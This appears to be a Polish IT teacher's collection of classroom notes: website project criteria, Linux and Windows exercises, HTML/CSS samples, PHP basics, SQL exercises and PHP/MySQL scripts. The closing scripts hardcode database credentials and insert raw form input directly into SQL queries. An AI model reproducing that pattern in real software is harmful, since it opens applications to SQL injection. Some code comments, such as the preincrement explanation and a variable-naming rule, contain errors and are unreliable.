http://templatki.com/live-demo/2318/ju-joomla83

na ocene niższą:
http://www.wood-service.pl/
http://www.pzw-wdaswiecie.eu/

______________________________________
Galeria:
https://www.simpleviewer.net/simpleviewer/
http://fancybox.net/

na ocenę niższą pomniejszone zdjęcie z odsyłaczem
do nowego okna
________________________________________
TOP FLASH
na ocene wyższą - maskowanie + efekty
http://web.oversize.pl/banery/portfolio.html
http://fabianowski-design.pl/portfolio/

na ocene niższą dowolny baner z 2 rodzajami animacj
__________________________________________
KONTAKT + MAPA
na ocenę wyższą formularz + mapka
http://ppdesignstudio.pl/wp-content/uploads/2013/08/formularz-kontaktowy-Contact-Form-7.png

na ocene niższą same dane kontaktowe + mapka
___________________________________________
TABELA
na ocene wyższą
http://www.crux.boulder.pl/wp-content/uploads/2012/07/2018.01-Cennik-Crux-01.2018.jpg

na ocene niższą
https://boleslawiec.eu/orka/images/cennik-tabela-karnet.jpg
_______________________________________________
Menu
5 dowolnych działających zakładek
_______________________________________________




_______________________________________

1. Utwórz plik tekstowy o nazwie pliczek.txt z zawartością tralalalala

 

2. Sprawdź w jakiej się znajdujesz lokalizacji

 

3. Utwórz użytkownika zsp i dodaj do grupy uczniowie

 

4. Utwórz folder szkoła a w nim 5 folderów(1,2,3,4,5)

 

5. Usuń folder szkoła

 

6. Sprawdź wszystkie uprawnienia do plików w katalogu domowym użytkownika

 

7. Zainstaluj program xyz z Internetu.

 

8. Sprawdź długość i szerokość zdjęcia aaa.jpeg

 

9. Zmień format zdjęcia aaa.jpeg na aaa.png

 

10. Wyświetl informacje na temat procesora i płyty głównej za pomocą 1 polecenia

 

11. Wyświetl rozmiar dostępnej pamięci w megabajtach

 

12. Wyświetl listę wszystkich użytkowników

 

13. Zmień hasło użytkownika egzamin

 

14. Zmień nazwę folderu ZSP na zsm

 

15. Zmień uprawnienia pliku aaa.txt tak aby wszyscy mieli do niego pełne prawa

 

 

 

@charset "utf-8";
/* CSS Document */

/*

------- Kolory -------

piasek: #eae6db
ciemny piasek: #dcd8ce
ciemnoszary: #212629
ciemny pomarańcz: #f9762d
pomarańcz: #fbb928
niebieski top: #27536d

linki: #5da2c7

rozmiary fontów:
12 - 1em
13 - 1.08em
14 - 1.16em
20 - 1.66em
35 - 2.92em

*/

@font-face {font-family: 'Museo-300';src: url('/../_assets/webfonts/eot/style_154926.eot?#iefix') format('embedded-opentype'),url('../_assets/webfonts/woff/style_154926.woff') format('woff'),url('../_assets/webfonts/ttf/style_154926.ttf') format('truetype'),url('../_assets/webfonts/svg/style_154926.svg#Museo-300') format('svg');}

 

Kopie zapasowe ubuntu

Prawa do plików ubuntu

wyszukać plik na litere d

dir d*.*

wyszukać plik po trzeciej literze ? Wiem, że trzecia litera to jest : E . Chcę aby wyszukał wszystkie pliki które mają na trzeciej pozycji literę : E ?

dir ??e*.*

 

Ustawianie uprawnień dla folderów udostępnionych

Ograniczanie liczby użytkowników folderu udostępnionego

 

 

zablokuj ustawienia paska zadan - gpedit.msc - szablony administracyjne - menu start i pasek zadan - zapobiegaj zmianom ustawien paska zadan i menu start

 

UstawLogowanie interakcyjne: Monituj użytkownika o zmianę hasła przed jego wygaśnięciemdo 5 dni. Data wygaśnięcia ich hasła w przypadku 5 lub mniejszą liczbę dni między, użytkownicy zobaczą w oknie dialogowym każdym razem, gdy logowania do domeny.

Nie ustawiono wartość 0, co powoduje wyświetlenie ostrzeżenia wygaśnięcie hasła za każdym razem, gdy użytkownik loguje się.

Lokalizacja
Nazwa_obiektu_GPO\Computer Configuration\Windows Windows\Ustawienia zabezpieczeń\Zasady Lokalne\opcje

 

 

 

DRUKARKI

       

Registry Hive

HKEY_CURRENT_USER

       

Registry Path

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

       

Value Name

NoAddPrinter

       

Value Type

REG_DWORD

       

Enabled Value

1

       

Disabled Value

0

 

 

 

Komunikat przed logowaniem

REJESTR

1. Zaloguj się na konto z uprawnieniami administratora

2. Uruchom edytor rejestru (Start>Uruchom, wpisz regedit, kliknij OK

3. Odszukaj klucz HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

4. Odszukaj wartość LegalNoticeCaption (jeżeli jej nie ma, stwórz ją - Edycja, Nowy, Wartość DWORD). Kliknij na nia dwukrotnie myszą i wpisz tytuł okienka, które ma się wyświetlić przed zalogowaniem.

ADVERTISING

5. Odszukaj lub stwórz wartość LegalNoticeText i po dwukliku wpisz tekst, który ma się wyświetlać.

 

 

 gpedit.msc

Aby włączyć komunikaty podczas logowania do systemu należy otworzyć Edytor lokalnych zasad grupy, aby to zrobić wystarczy w oknie start wpisać polecenie gpedit.msc

W otwartym oknie przechodzimy kolejno do ekranu: Konfiguracja Komputera > Ustawienia systemu Windows > Ustawienia zabezpieczeń > Zasady Lokalne > Opcje Zabezpieczeń.

Następnie znajdujemy pozycje:

·         Logowanie interakcyjne: tytuł komunikatu dla użytkowników próbujących się zalogować.

·         Logowanie interakcyjne: tekst komunikatu dla użytkowników próbujących się zalogować.

 

Po dwukrotnym kliknięciu na opcji będziemy mogli wpisać dowolny tekst, który zostanie wyświetlony podczas logowania do systemu. Aby wyłączyć komunikaty wystarczy usunąć zawartość tekstu w oknie Edytora lokalnych zasad grupy.

 

 

 

<meta http-equiv="Content-Type" Content="text/html; charset=utf-8" />

<form>

Podaj imie <textarea name="imi" cols="20" rows="1">

</textarea>

Podaj nazwisko <textarea name="naz" cols="20" rows="1">

</textarea>

<br>

<br>

Pesel: <input maxlength="11" type="text" name="pesel">

<br>

<br>

Kod pocztowy: <input maxlength="2" type="text" name="1">-<input maxlength="3" type="text" name="1">

 

<br><br>

podaj płec: <br>

<input type="radio" name="plec" value="podst"> mężczyzna <br>

<input type="radio" name="plec" value="sr"> kobieta <br>

<br>

wybierz wojewodztwo: <br>

<select name="wiek">

<option> Wybierz </option>

<option> &gt; Dolnośląskie </option>

<option> &gt; Kujawsko-pomorskie </option>

<option> &gt; Lubelskie </option>

<option> &gt; Lubuskie </option>

<option> &gt; Lódzkie </option>

<option> &gt; Małopolskie </option>

<option> &gt; Mazowieckie </option>

<option> &gt; Opolskie </option>

<option> &gt; Podkarpackie </option>

<option> &gt; Podlaskie </option>

<option> &gt; Pomorskie </option>

<option> &gt; Śląskie </option>

<option> &gt; Świętokrzyskie </option>

<option> &gt; Warmińsko-mazurskie </option>

<option> &gt; Wielkopolskie </option>

<option> &gt; Zachodniopomorskie </option>

</select>

<br><br>

Podaj swoje zainteresowania: <br>

<input type="checkbox" name="hobby" value="muzyka"> muzyka <br>

<input type="checkbox" name="hobby" value="sport"> sport <br>

<input type="checkbox" name="hobby" value="taniec"> taniec <br>

<input type="checkbox" name="hobby" value="film"> film <br>

<input type="checkbox" name="hobby" value="gra w kompa"> gra w kompa <br>

<input type="checkbox" name="hobby" value="motoryzacja"> motoryzacja <br>

<input type="checkbox" name="hobby" value="jedzenie"> jedzenie <br>

<input type="checkbox" name="hobby" value="informatyka"> informatyka <br>

<br>

<input type="reset" value="WYCZYSC">

<br>

<input type="submit" value"WYSLIJ">

 

 

 

 

 

https://www.download.net.pl/jak-zablokowac-uruchamianie-programu-w-windowsie/n/3006/

 

http://www.thetechlabs.com/tech-tutorials/flash/create-real-water-effects-with-flash-cs4-actionscript-30/

 

HP Scanjet Enterprise Flow 7500

Rozdzielczość skanowania

Łączność

Cena

Wymiary i waga

Zużycie energii

 

Sharp PN70TB3

Gniazda wejściowe

Gniazda wyjściowe

Rozdzielczość

Przekątna

Cena

 

SIGNAL XXL

Ilość dysz

Obsługiwane materiały do druku

Cena

Wymiary stołu roboczego

Średni pobór mocy podczas druku 

 

 

Sony PMW-F55

Rozdzielczość

Typ matrycy

Cena

Zużycie energii

Temperatura pracy i przechowywania

Waga

 

CREATIVE INSPIRE T6300

Cena

Waga

Moc wyjściowa

 

Redgear Pro Series Wireless Gamepad

Waga

Cena

Łączność

Napięcie ładowania

 

 

 

var i = 0;

while(i < 10)

{

  document.writeln(++i);

}

 

 

INSTALACJA JOOMLA NA SERWERZE LOKALNYM

 

logo

 

STRONA WWW KL 2

Zmiana topu - FLASH lub PHOTOSHOP 

Zmiana tła www - u góry grafika niżej dowolny kolor

Zmiana loga

Zmiana kolorów przycisków i tła do nich

Zmiana nazw zakładek na

Start /Egzamin E.14/Egzamin E.13/Egzamin E.12/Grafika/UTK/Kontakt

Zakładki z egzaminami mają inne tło strony i inną grafikę w tle i inny top 

W 3 polach nowe znaczniki umieszczamy filmy z YOU TUBE dotyczace egzaminow zawodowych, w zakładkach kontakt i stard dowolne zdjęcia

W polu Witaj na web standardy w Egzaminach krótkie info czego dotyczy dana kwalifikacja w Starcie i kontakcie lorem ipsum

W polu aktualności 5 linków róznych kolorów do allegro/zsm/olx/wikipedia/mapy google

W polu social media dzialające ikonki do profili znanych ludzi na portalach

Pola twoja reklama 2 banery reklamowe rollover w javie, 2 banery zwykla grafika, 2 banery flash

 

http://www.zstio-gorzow.pl/zasoby/elearning/joomla_techniki/zrodla/webstandardyHTML/#

 

http://computersun.pl/php_db/mysql/typy-zakresy-danych-mysql-w_92.html

 

_________________________________HTML

 

<!doctype html>

<html lang="pl">

<head>

<meta charset="utf-8">

<title>HTML5</title>

<link rel="stylesheet" type="text/css" href="/_css/screen.css">

 

<!--[if lt IE 9]>

<script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>

<![endif]-->

 

</head>

 

<body tracingsrc="_assets/tracing-wymiary.jpg" tracingopacity="20">

 

 

<header>

    <h1>webStandardy.pl</h1>

        <aside>

        <h2><q cite="http://www.twitter.com/webstandardy">Zobacz nasz profil w serwisie Twitter oraz na innych portalach społecznościowych jak Facebook i LinkedIn! </q></h2><br>

            <span>Opublikowano 3 minuty temu na twitterze</span>

        </aside>

    </header>

    

    <div id="left-column">

    

    <nav>

    <h2 class="hide">Główna nawigacja</h2>

    <ul>

        <li><a class="h" href="#">Home</a></li>

        <li><a class="a" href="#">Artykuły</a></li>

        <li><a class="s" href="#">Snippety</a></li>

        <li><a class="i" href="#">Inspiracje</a></li>

        <li><a class="b" href="#">Blog</a></li>

        <li><a class="f" href="#">Forum</a></li>

        <li><a class="k" href="#">Kontakt</a></li>

        </ul>

    </nav>

    

    <div id="top">

    <section>

            <h2>Nowy szeryf w miescie</h2>

            <p>HTML5 jest standardem, który zyskując coraz większe wsparcie wśród przeglądarek staje się nieodzownym towarzyszem każdego szanującego się front-end developera.</p>

        </section>

    </div>

    

<section id="artykuly">

    <h2 class="hide">Artykuły</h2>

    <section>

        <img src="/_img/art1.jpg" alt="Artykuł 1" />

            <hgroup>

              <h2>Nowe znaczniki w HTML5</h2>

              <h3>DODANO 14.09.2011 PRZEZ MIKI</h3>

            </hgroup>

            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>

        </section>

    <section id="art2">

        <img src="/_img/art2.jpg" alt="Artykuł 2" />

            <hgroup>

              <h2>Nowe znaczniki w HTML5</h2>

                <h3>DODANO 14.09.2011 PRZEZ MIKI</h3>

            </hgroup>

            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>

        </section>

    <section>

        <img src="/_img/art3.jpg" alt="Artykuł 3" />

            <hgroup>

              <h2>Nowe znaczniki w HTML5</h2>

                <h3>DODANO 14.09.2011 PRZEZ MIKI</h3>

            </hgroup>

            <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus vitae molestie orci. </p>

        </section>

    </section>

 

<section id="aktualnosci">

     <h2>Aktualnosci</h2>  

        <ul>

        <li>KONWERSJA FLASH>HTML5 Z WALLABY</li>

        <li>NOWE SELEKTORY W CSS3</li>

        <li>METODY POZYCJONOWANIA ELEMENTÓW</li>

        <li>NOWOCZESNE UKŁADY STRON WWW</li>

        <li>WYKORZYSTANIE BIBLIOTEKI MODERNIZR</li>

           <li>PRZYSZŁOŚĆ TYPOGRAFII Z @FONT-FACE</li>

        <li>NAJWAŻNIEJSZE ZNACZNIKI HTML5</li>

        </ul>

    </section>

    

    <section id="witaj">

    <h2>Witaj na webstandardy</h2>

        <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi pulvinar, massa ac egestas sodales, velit felis fringilla lacus, euismod porttitor purus lectus a orci. Vivamus vel ante ante, vitae molestie orci. Suspendisse cursus enim hendrerit ipsum cursus sodales ultricies velit volutpat. Suspendisse neque elit, condimentum mattis lacinia ut, dapibus a velit. Vestibulum ultrices vestibulum nunc, quis tincidunt magna varius sit amet. </p>

      <p>Cursus enim hendrerit ipsum cursus sodales ultricies velit volutpat. Suspendisse neque elit, condimentum mattis lacinia ut, dapibus a velit. 

      </p>

    </section>

    

    

 

<aside id="social">

    <h2 class="hide">Social bar</h2>

        <ul>

        <li><a href="#"><img src="/_img/social-media.jpg" alt="social 1"></a></li>

        <li><a href="#"><img src="/_img/rss.jpg" alt="social 2"></a></li>

        <li><a href="#"><img src="/_img/facebook.jpg" alt="social 3"></a></li>

        <li><a href="#"><img src="/_img/twitter.jpg" alt="social 4"></a></li>

        <li><a href="#"><img src="/_img/linkedin.jpg" alt="social 5"></a></li>

        <li><a href="#"><img src="/_img/youtube.jpg" alt="social 6"></a></li>

        <li><a href="#"><img src="/_img/email.jpg" alt="social 7"></a></li>

        </ul>

    </aside>

    

    <footer>

    <p>Copyright © 2011-2012 eduweb.pl. Wszystkie prawa zastrzeżone. Projekt i prowadzenie serwisu Grzegorz Róg</p>

        <span>Na skróty</span>

        <ul>

        <li><a href="#">HOME</a></li>

        <li><a href="#">ARTYKUŁY</a></li>

        <li><a href="#">SNIPPETY</a></li>

        <li><a href="#">INSPIRACJE</a></li>

        <li><a href="#">BLOG</a></li>

        <li><a href="#">FORUM</a></li>

        <li><a href="#">KONTAKT</a></li>

        </ul>

    </footer>

    

    <!-- koniec lewej kolumny -->

    </div>

    

    <div id="right-column">

    

    <aside>

   

      <h2 class="hide">Logowanie</h2>

   

     <div class="search"><!-- form --></div>

        

      <div class="login"><ul>

        <li class="wi">Wiadomości</li>

        <li class="po">Powiadomienia</li>

        <li class="sn">Snippety</li>

        <li class="ed">Edycja profilu</li>            

        </ul>

        

        <p>Skocz na forum, mamy już 999 aktywnych użytkowników!</p></section>

        

</aside>

    

    <aside id="reklamy">

     <h2 class="hide">Reklamy</h2>

        <img src="/_img/reklama.jpg" alt="reklama 1" /><img src="/_img/reklama.jpg" alt="reklama 1" /><img src="/_img/reklama.jpg" alt="reklama 1" /><img src="/_img/reklama.jpg" alt="reklama 1" /><img src="/_img/reklama.jpg" alt="reklama 1" /></aside>

    

    <!-- koniec prawej kolumny -->

    </div>

    

</body>

</html>

___________________________________

 

 

 

 

 

 

__________________________________________________   CSS

 

 

 

_____________________________________________________

 

 

 

 

 

 

 

 

 

 

 

@font-face {font-family: 'Museo-300';src: url('../_assets/webfonts/eot/style_154926.eot?#iefix') format('embedded-opentype'),url('../_assets/webfonts/woff/style_154926.woff') format('woff'),url('../_assets/webfonts/ttf/style_154926.ttf') format('truetype'),url('../_assets/webfonts/svg/style_154926.svg#Museo-300') format('svg');}

 

GTA

 

<html>

<head>

<title>Mój dokument</title>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<link rel="stylesheet" type="text/css" href="/style.css" />  

</head>

<body>

<div id="bialy"></div>

<div id="czerwony"></div>

</body>

</html>

 

 

body {

background-color:yellow;

}

 

#bialy {

float:left;

background-color:white;

height:350px;

width:100%;

font-size:124px;

text-align:center;

}

 

#czerwony {

float:left;

background-color:red;

min-height:350px;

width:100%;

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<head>

<style>

 

body {

background-color: grey;

}

 

p {

color: white;

background-color: black;

}

a.niebieski {

color: green;

text-decoration:none;

}

 a.niebieski:hover {

color:yellow;

text-decoration:none;

}

 

 

 

 

 

a.czerwony {

color: orange;

text-decoration:none;

}

 

a.czerwony:hover {

color:white;

text-decoration:none;

}

</style>

</head>

<p><strong>LINK 1</strong></p>

<ul>

<li><a href="http://www.zsm-swiecie.pl" class="niebieski">LINK DO ZSM SWIECIE</a></li>

 

</ul>

 

<p><strong>LINK 2</strong></p>

<ul>

<li><a href="http://www.wp.pl" class="czerwony">LINK DO WP</a></li>

 

</ul>

 

https://faktura.egrupa.pl/images/news/faktura-rr-wzor2.jpg

 

 

Dana

Relacyjna baza danych 

Typ danej (ang. data type) - rodzaj danej, czyli forma zapisu informacji:

znakowy (ang.character) 

liczbowy (ang.number) 

logiczny (ang.logical) 

data (ang.date) 

alfanumeryczny (ang.alphanumeric)

numeryczny (ang.numeric) 

walutowy (ang.currency) 

notatnikowy (ang.memo) 

binarny (ang.binary) 

graficzny (ang.graphic) 

obiektowy (ang.OLE) �

Format danej 

Rekord

Pole

Tabela

Klucz podstawowy (klucz główny)

Klucz obcy

Relacja

Typy relacji 

jeden-do-jednego

jeden-do-wielu

wiele-do-wielu

Sortowanie

Zapytanie

Kwerenda wybierająca 

Filtr

Formularz

Raport

Procedura

Makro

Moduł

System zarządzający bazami 

Program wykonawczy bazy 

<script language="JavaScript">

<!-- 

document.write(document.lastModified)

// -->

 

</script>

 

http://cennik.poczta-polska.pl/plik,1/cennik_uslug_powszechnych_w_obrocie_krajowym_i_zagranicznym_01032016.pdf

http://www.freeiconspng.com/uploads/pdf-icon-png-17.png

PHP

Co to jest PHP
Komentarze
Zmienne
Typy zmienych
Zmiana typu
Predefiniowane zmienne
Stałe
Operatory arytmetyczne
Operator przypisania
Operatory operacji bitowych
Operatory porównania
Operator kontroli błędów
Operator wywołania
Operatory inkrementacji i dekrementacji
Operatory logiczne
Operator ciągu
Instrukcje warunkowe
Pętla FOR
Pętla while
Pętla do…while
Przerywanie wykonań pętli
Składnia switch
Tablice
Funkcje
Klasy
Formularze
Upload plików
Odnośniki
Cookies
register_globals

 

 

GALERIE    http://fotoblogia.pl/5393,20-darmowych-galerii-do-fotograficznego-portfolio

 

 

http://www.tutorialized.com/tutorial/Lift-Objects-Right-Off-Their-Pages-With-This-Photoshop-Effect/86042

http://www.programoteka.pl/html//inny%20dymek.php

http://www.flashperfection.com/tutorials/Create-real-water-effects-with-Flash-CS4-ActionScript-3.0-49262.html

 

<!doctype html>
<html>

<head>
<meta charset="utf-8">
<title>How to Make a JavaScript Image Rollover</title>

<!--JavaScript code goes here.-->
<script language="javascript">
function MouseRollover(MyImage) {
MyImage.src = "2.png";
}
function MouseOut(MyImage) {
MyImage.src = "1.png";
}
</script>
</head>

<body>

<div align="center">

<!--The rollover image displays here.-->
<img src="/1.png" boarder="0px" width="650px" height="550px" 
onMouseOver="MouseRollover(this)" 
onMouseOut="MouseOut(this)" />
</div>

</body>
</html>

 

 

 

TOP WWW

http://www.videosites.pl/proj8/

http://cdn15.se.smcloud.net/t/photos/353367/2015-hyundai-i20.jpeg

http://portalnaukijazdy.pl/images/news/2599.jpg

http://www.autoszkola-osemka.pl/wp-content/uploads/2014/03/DSC_4337.jpg

https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Luigi_emblem.svg/2000px-Luigi_emblem.svg.png

FLASH

http://www.bannerflash.pl/przyklady-swfnew-woe_orange_750x200_20120612v1.html

http://www.bannerflash.pl/przyklady-swfnew-acer_750x200_20120622v1.html

http://www.bannerflash.pl/przyklady-swfnew-orzel_750x200_20111102v2.html 

http://www.bannerflash.pl/przyklady-swfnew-estilo_950x200_20120418v2.html

http://www.bannerflash.pl/przyklady-swfnew-ecutech_300x250_20120315v2.html

 

 

Strona www w joomla 3
3 zakładki 
Start (art)/Galeria(2 kat po 3 zdjęcia/Załączniki (4 załączniki doc i pdf)
TOP 3 zdjęcia slider
Attachments
Phoca Gallery
JCE EDITOR

 

http://devzum.com/2015/07/best-photoshop-tutorials-june-2015/
http://creativenerds.co.uk/tutorials/60-best-photoshop-tutorials-from-2014/
http://graphicdesignjunction.com/2014/07/best-photoshop-tutorials-2014/

 

 

<?php

$a = 5; //OPERATOR PRZYPISANIA "="

echo "<br />--------------<br />";

echo ($a+5); //OPERATOR DODAWANIA "+"

echo "<br />--------------<br />";

echo ($a-5); // OPERATOR ODEJMOWANIA "-"

echo "<br />--------------<br />";

echo ($a*2); //OPERATOR MNOŻENIA "*"

echo "<br />--------------<br />";

echo ($a/2); //OPERATOR DZIELNIA "/"

echo "<br />--------------<br />";

echo ($a%2); // OPERATOR RESZTY Z DZIELENIA "%" w pięciu 2 miesci sie 2 razy, czyli 2 * 2 = 4, 5 - 4 = 1;

echo "<br />--------------<br />";

$imie = "Jan";
$nazwisko = "Kowalski";

$polaczenie = $imie." ".$nazwisko;

echo $polaczenie;

echo "<br />--------------<br />";

$b = 10;

$b += 10 + 5 + $a; //TO JEST TO SAMO CO $b = $b + 10 + 5 + $a;

echo $b;

echo "<br />--------------<br />";

$b -= 30; //TO JEST TO SAMO CO $b = $b - 30;

echo $b;


/*
+=
-=
*=
/=
%=
.=
*/

echo "<br />--------------<br />";

$i = 1;
$i++; //INKREMENTACJA DOKLADNIEJ POSTINKEREMENTACJA A TO JEST TO SAMO CO: $i = $i + 1 LUB $i += 1;
echo $i;
echo "<br />";

echo ($i++);
echo "<br />";
echo $i;
echo "<br />--------------<br />";

$i = 1;
$i--; //DEKREMENTACJA DOKLADNIEJ POSTDEKREMENTACJA A TO JEST TO SAMO CO: $i = $i - 1 LUB $i -= 1;
echo $i;
echo "<br />";

echo "<br />--------------<br />";

$i = 1;
++$i; //INKREMENTACJA DOKLADNIEJ PREINKREMENTACJA A TO JEST TO SAMO CO: $i = $i - 1 LUB $i -= 1;
echo $i;
echo "<br />";
echo (++$i);
echo "<br />";
echo $i;
echo "<br />--------------<br />";

$i = 1;
--$i; //DEKREMENTACJA DOKLADNIEJ PREDEKREMENTACJA A TO JEST TO SAMO CO: $i = $i - 1 LUB $i -= 1;
echo $i;
echo "<br />";

echo "<br />--------------<br />";


/* 1 1 1 1 0 = (1 * 2 ^ 4) + (1 * 2 ^ 3) + (1 * 2 ^ 2) + (1 * 2 ^ 1) + (0 * 2 ^ 0) =
= 16 + 8 + 4 + 2 + 0 = 30


PRZESUWAM W LEWO TO MNOZE RAZY 2

1 1 1 1 0 0 = 60

PRZESUWAM W PRAWO TO DZIELE RAZY 2
1 1 1 1 = 15
*/
$c = 30;

echo $c<<1; // W LEWO

echo "<br />--------------<br />";

echo $c>>1; //W PRAWO

// 1 1 1 1 0 = 30
// 1 0 1 0 0 = 20 | - ALTERNATYWA BITOWA
//WYNIK: 1 1 1 1 0 = 30


$d = 20;

echo "<br />--------------<br />";

echo ($c | $d);

// 1 1 1 1 0 = 30
// 1 0 1 0 0 = 20 & - KONIUNKCJA BITOWA
//WYNIK: 1 0 1 0 0 = 20


echo "<br />--------------<br />";

echo ($c & $d);

/*
|| - ALTERNATYWA - LUB
&& - KONIUNKCJA - I
! = Negacja

> - znak wiekszosci
< - znak mniejszosci
>= - wiekszy badz rowny
<= - mniejszy badz rowny
== - ROWNY 
=== - ROWNY A DOKLADNIEJ IDENTYCZNY (tego samego typu)
!= - NIE ROWNY
!== - NIE IDENTYCZNY


@ - małpka, neguje błąd i go nie wypisuje

*/


?>

 

<?php

// TABLICA ASOCJACYJNA $nazwa_zmiennej['string'] = wartosc;
/* 
$tab['cosik'] = "tralal";
$tab['miejscowosc'] = "Kraków";
$tab['liczba'] = 5;
$tab[5] = "smak";

*/ echo "<br /><br />";

$tab = array( 'cosik' => 'tralal', 'miejscowosc' => 'Kraków', 'liczba' 
=> '5', 5 => 'smak');


echo $tab['cosik']."<br />";
echo $tab['miejscowosc']."<br />";
echo $tab['liczba']."<br />";
echo $tab[5]."<br />";

?>

 https://www.youtube.com/watch?v=ks9fgf53gi4

Wykonaj stronę internetową w CMS Joomla

Szkoła jazdy

O nas - opis z dowolnej szkoły + 1 zdjęcie
Kursy - Samochód Motor itp opisy z dowolnej szkoły
Cennik - Tabela z cennikiem
Galeria - 2 kategorie (samochody, motory) zdjęcia z kursów z dowolnej www
Zapisy - zakładka z formularzem MS Word do pobrania
Kontakt - Mapa google i dane kontaktowe

Kolorystyka związana z logiem L (niebieski i biały)

 

 

http://phpkurs.pl/operatory/

<?php

$a=100;
do {
print $a;
print ('<br>');
$a-= 2;
}
while ($a>0);
?>

 

<?php
print ("zzzzzzzzzzzzzzzzzzzzzzz");
$a=1;
$b=2;
$c=3;

$suma=$a+$b+$c;
print('<br>');
print $suma;

?>

 

 

http://www.gajdaw.pl/php/zmienne-w-php/print.html

 

<?php

$CosCosCos = 4; //$nazwa_zmiennej = wartosc
$CosCosCos = 5;
$CoscosCos = 6;
$cos_cos_cos = 8;

echo $CosCosCos."<br />";
echo $coscoscos."<br />";
echo $CoscosCos."<br />";

echo "----------------<br />";
var_dump($CosCosCos); // int (integer) - l. całkowita
echo "<br />----------------<br />";

$cos4 = 4;
$jakies = "tekscik";

echo "----------------<br />";
var_dump($jakies); //string (tekst) " " ' '
echo "<br />----------------<br />";
echo "<br />----------------<br />";
echo $jakies{2};
echo "<br />----------------<br />";

$dlugosc_jakies = strlen($jakies); //strlen (string length) - długość tekstu 
echo "<br />----------------<br />";
echo $dlugosc_jakies;
echo "<br />----------------<br />";
/*
Nie możemy dawać spacji w nazwach zmiennych
Wielkość liter ma znaczenie! ;)
Nie wolno używać liter na początku zmiennej
Nie ładnie jest używać polskich znaków w zmiennych

*/

echo $cos4."<br /><br />";

echo $jakies."<br /><br />";

$_zmienna = 4.2;


echo $_zmienna."<br />";

var_dump($_zmienna); // float - typ zmiennoprzecinkowej zmiennej, czyli rzeczywistej, double (mocniejsza precyzja) 3.44444124124124

$prawda = true; // PRAWDA - inna od zera! ;) (1)

$falsz = false; // FAŁSZ - ZERO

echo '<br /><br /><br /> \n$prawda <br /><br /><br />';
echo "<br /><br /><br /> \\n\$prawda <br /><br /><br />";
echo "<br /><br /><br /> $prawda <br /><br /><br />";
echo "<br /><br /><br /> ".$prawda."<br /><br /><br />";

echo ord('1')."<br />";

echo chr(49)."<br />";

define("nazwa_gry", "Mroczne Lata Camelotu");

echo nazwa_gry."<br />";

$lrzeczywista = 5.65624124;

echo (int)($lrzeczywista)."<br />"."<br />"; // (typ)(co_rzutujemy)

echo round($lrzeczywista, 2) //round (co_zaokraglic, do_ilu_miejsc_po_przecinku);


?>

 

 

1. Stwórz w sql nową tabele o nazwie farby
pola (id,nazwa, cena) id liczba- nazwa varchar cena 4000,22 czterocyfrowa z 2 miajscami po przecinku


CREATE TABLE farby (id int(11), nazwa VARCHAR(24), cena decimal(6,2))

2. Wstaw 1 wiersz do tabeli farby
Id-1 nazwa-sniezka cena-1000,22

INSERT INTO farby (id,nazwa,cena) VALUES ('1','sniezka','1000.22')

3. Dodaj kolumne kategoria (varchar) do tabeli farby

ALTER TABLE farby ADD kategoria VARCHAR(24) AFTER cena


4. Wstaw kategorie olejne do 1 wiersza tabeli


UPDATE farby SET kategoria = ‘olejne’ WHERE id = 1

5. Usuń tabele farby

DROP TABLE farby1

6. Usuń rekord id=2 z tabeli farby

DELETE FROM farby WHERE id = 2

7. Zmień w tabeli farby pole id na nr
typ danych integer

ALTER TABLE farby CHANGE id nr int(11)


8. Podaj średnią cene z tabeli farby

SELECT AVG(cena) AS srednia FROM farby

9. Pokaż aktualna datę i godzinę

SELECT NOW()

10. Sprawdź ile wierszy ma tabela farby

SELECT COUNT(nr)FROM farby

 

 

 

 

<body>
<?php
$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('produktykopia' , $lacze);
$tytul = $_POST['tytuł'];
$cena = $_POST['cena'];
$zpt = "INSERT INTO cennik (tytul, cena) VALUES ('$tytul','$cena')";
$rezultat = mysql_query($zpt);
?>
</body>

 

 

<body>
<form action="formularz.php" method="post">
<p><label>Tytuł: <input type="text" name="tytuł" value="" /></label></p>
<p><label>Cena: <input type="text" name="cena" value="" /></label></p>
<p><input type="submit" name="submit" value="Wyślij" /></p>
<p><input type="reset" name="wyczysc" value="Wczyść" /></p>
</form>
</body>

 

<body>
<?php
$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('produktykopia' , $lacze);
$zpt = 'DELETE FROM cennik WHERE id = 11';
$rezultat = @mysql_query($zpt, $lacze);
$podsumowanie = @mysql_affected_rows($lacze);
echo $podsumowanie;


/*while ($wyniki = @mysql_fetch_assoc($rezultat)) {
echo "<pre>";
print_r($wyniki['nazwa'].'<br />'.$wyniki['cena'].' 
zł');
echo "<pre>";
}*/
?>
</body>

 

<body>
<?php
$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('produktykopia' , $lacze);
$zpt = 'DELETE FROM cennik WHERE id = 12';
$rezultat = @mysql_query($zpt, $lacze);
/*while ($wyniki = @mysql_fetch_assoc($rezultat)) {
echo "<pre>";
print_r($wyniki['nazwa'].'<br />'.$wyniki['cena'].' 
zł');
echo "<pre>";
}*/
?>
</body>

 

 

<body>
<?php
$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('kursy' , $lacze);
$zpt = 'SELECT * FROM produkty';
$rezultat = @mysql_query($zpt, $lacze);
while ($wyniki = @mysql_fetch_assoc($rezultat)) {
echo "<pre>";
print_r($wyniki['nazwa'].'<br />'.$wyniki['cena'].' 
zł');
echo "<pre>";
}
?>
</body>

 

<body>
<?php
$lacze = @mysql_connect('localhost', 'zsm', 'zsm');
$baza = mysql_select_db('kursy' , $lacze);
$zpt = 'SELECT nazwa,cena FROM produkty';
$rezultat = @mysql_query($zpt, $lacze);
